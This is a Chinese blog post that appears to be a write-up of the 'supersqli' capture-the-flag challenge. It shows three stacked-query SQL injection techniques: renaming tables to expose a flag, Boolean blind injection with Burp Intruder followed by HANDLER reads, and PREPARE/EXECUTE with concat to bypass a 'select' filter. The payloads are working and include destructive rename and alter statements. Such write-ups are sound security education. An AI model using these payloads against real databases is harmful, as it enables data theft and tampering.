某次真实环境渗透[supersqli]

SQL注入的前提:

1.判断是否有注入
            1)可控参数如id=1,能否影响页面的显示结果
            2)输入SQL语句的时候,是否报错,能否通过报错,看到数据库的一些语句痕迹
            3)尝试输入的语句能否不报错,使得成功闭合语句
2.判断是什么类型的注入
3.语句能否被修改
4.是否能够成功执行
5.获取我们想要的数据

方法一(修改默认表)

输入1、2、3回显不同的内容

在1后添加一个单引号,发现报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

尝试利用#、--+将闭合的引号注释

利用order by查询出有两个字段后,使用select 1,2查询回显内容时,提示select已被过滤

当select被过滤时,马上想到是否可以利用堆查询注入

1';show databases#

由于题目名为supersqli,所以立刻锁定了这个数据库,并且尝试查询表

1';use supersqli;show tables#

两张表,查询1919810931114514表中所有内容,注:由于这里1919810931114514为字符串,需要加``进行查询

1';use supersqli;show columns from `1919810931114514`#

查询另一张为words的表,在提交参数时,回显的内容从words查询,words是默认表

1';use supersqli;show columns from words#

由于words是默认表,而需要查询的flag在1919810931114514表中,利用rename重命名1919810931114514表为words即可,这样输入的参数会自动从默认表请求,但是1919810931114514表少了一个id列,可以将flag字段改为id,设置为varcher型

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#

我们再次查询的时候,这时候flag的表已经被设置为默认查询表,输入1' or 1=1#查询falg


方法二(handler)

介绍另一种查询数据库的方法

利用布尔盲注,burp爆破数据库名

1' and ascii(substr(database(),1,1))=115#

查询正确,数据库的第一位位于ascii表中的115号,为‘s’

从第二位开始,可利用bp进行爆破

简单介绍一下bp的用法

打开intercept is on开启抓包

抓取内容

点击send to intruder爆破

将1改为2,目的是查询数据库名字的第二个字符串

设置115为ADD

设置payloads后,即可爆破

第二位为117

最后得到数据库为supersqli

这里需要了解handler查询,它是mysql专用的语句,目的是一行一行的浏览一个表中的数据,与select类似

语法:

handler tablename open打开一张表

handler tablename read first读取句柄的第一行的内容

handler tablename read next依次获取其它行

构造payload

1';handler `1919810931114514` open;handler `1919810931114514` read first#


方法三(预编译)

查flag字段里的数据,因为可以执行多条语句,将要执行的sql语句进行拼接,这样就可以将过滤的 sql关键字拆分绕过检测,set 语句将已存在的变量进行赋值,prepare创建SQL语句,execute执行SQL语句。

构造payload,这里PREPARE大写是由于被过滤

1';use supersqli;set @sql=concat('se','lect `flag` from `1919810931114514`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值